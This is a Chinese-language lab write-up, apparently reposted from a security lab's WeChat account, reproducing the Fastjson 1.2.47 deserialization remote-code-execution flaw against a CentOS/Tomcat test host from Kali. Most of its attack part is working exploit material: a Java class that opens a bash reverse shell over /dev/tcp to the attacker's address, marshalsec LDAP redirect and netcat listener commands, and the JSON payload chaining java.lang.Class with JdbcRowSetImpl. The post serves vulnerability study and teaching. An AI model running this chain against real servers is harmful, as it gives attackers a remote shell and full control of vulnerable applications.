Fastjson 1.2.47 命令执行漏洞复现

admin 2025年1月2日10:35:21评论8 views字数 2953阅读9分50秒阅读模式

漏洞介绍

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为JSON 字符串,也可以从JSON 字符串反序列化JavaBean

首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

漏洞范围

Fastjson版本<=1.2.47

测试环境

靶  机:centos8                 IP:192.168.101.122攻击机:kali-2019.4              IP:192.168.101.50

漏洞复现

环境搭建

  1. Centos8和kali分别安装jdk

Jdk下载地址:https://pan.baidu.com/s/1nI-JT93vjcA9--7fb0fhqw&shfl=shareset 提取码: sven解压:tar -zxvf jdk-8u181-linux-x64.tar.gz

Fastjson 1.2.47 命令执行漏洞复现

修改环境变量:vi ~/.bashrc在文件末尾加入一下内容:export JAVA_HOME=/xxx/xxx/jdk1.8.0_181  #xxx为上面jdk解压目录export JRE_HOME=${JAVA_HOME}/jre  export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib  export PATH=${JAVA_HOME}/bin:$PATH

Fastjson 1.2.47 命令执行漏洞复现

是环境变量马上生效:source ~/.bashrc查看java版本,查看是否生效:java -version

Fastjson 1.2.47 命令执行漏洞复现

     2.Centos8安装Tomcat

Tomcat下载地址

https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.tar.gz

解压Tomcat:

tar apache-tomcat-9.0.50.tar.gz

启动Tomcat:
进入Tomcat解压目录下的bin执行

./catalina.sh start

Fastjson 1.2.47 命令执行漏洞复现

     3.Centos8部署fastjson1.2.47

下载地址:

https://github.com/alibaba/fastjson.git

将fastjson解压放入Tomcat下的webapps下

git clone –depth=1 https://github.com/alibaba/fastjson.git

Fastjson 1.2.47 命令执行漏洞复现

浏览器访问192.168.101.122/fastjson

Fastjson 1.2.47 命令执行漏洞复现

Fastjson部署成功

    4.编译Shell.java

新建Shell.java文件,文件中写入一下内容

import java.io.BufferedReader;import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Shell{    public Shell() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.101.50/6666;cat <&5 | while read line; do $line 2>&5 >&5; done"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));        String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }        p.waitFor();        is.close();        reader.close();        p.destroy();    }    public static void main(String[] args) throws Exception {    }}

Fastjson 1.2.47 命令执行漏洞复现

编译Shell.java:javac Shell.java

Fastjson 1.2.47 命令执行漏洞复现

编译后在当前目录下生成Shell.class文件

Fastjson 1.2.47 命令执行漏洞复现

     5.Kali中使用python搭建临时web服务

python -m SimpleHTTPServer  1111

Fastjson 1.2.47 命令执行漏洞复现

此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件

      6.Kali下载marshalsec

下载地址:

https://github.com/mbechler/marshalsec.git

下载marshalsec

git clone –depth=1 https://github.com/mbechler/marshalsec.git

Fastjson 1.2.47 命令执行漏洞复现

mvn打包:

进入marshalsec目录下执行

mvn clean package -DekipTests

Fastjson 1.2.47 命令执行漏洞复现

Fastjson 1.2.47 命令执行漏洞复现

     7.Kali使用marshalsec开启LDAP服务监听

切换到marshalsec下的target目录下执行以下命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.50:1111/#Shell 9999

Fastjson 1.2.47 命令执行漏洞复现

使用marshalsec工具快捷的开启LDAP服务。借助LDAP服务将LDAPreference result 重定向到web服务器。LDAP动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。

     8.Kali开启nc监听

nc监听Shell.java中端口

Fastjson 1.2.47 命令执行漏洞复现

nc -lvvp 6666

Fastjson 1.2.47 命令执行漏洞复现

      9.构造请求包反弹shell

访问http://192.168.101.122/fastjson使用火狐浏览器构造POST请求包,POST请求内容如下:{    "name":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "x":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"ldap://192.168.101.50:9999/Shell",        "autoCommit":true    }}

Fastjson 1.2.47 命令执行漏洞复现

请求成功后成功反弹shell

Fastjson 1.2.47 命令执行漏洞复现

原文始发于微信公众号(赛瑞攻防实验室):Fastjson 1.2.47 命令执行漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日10:35:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson 1.2.47 命令执行漏洞复现https://cn-sec.com/archives/887217.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息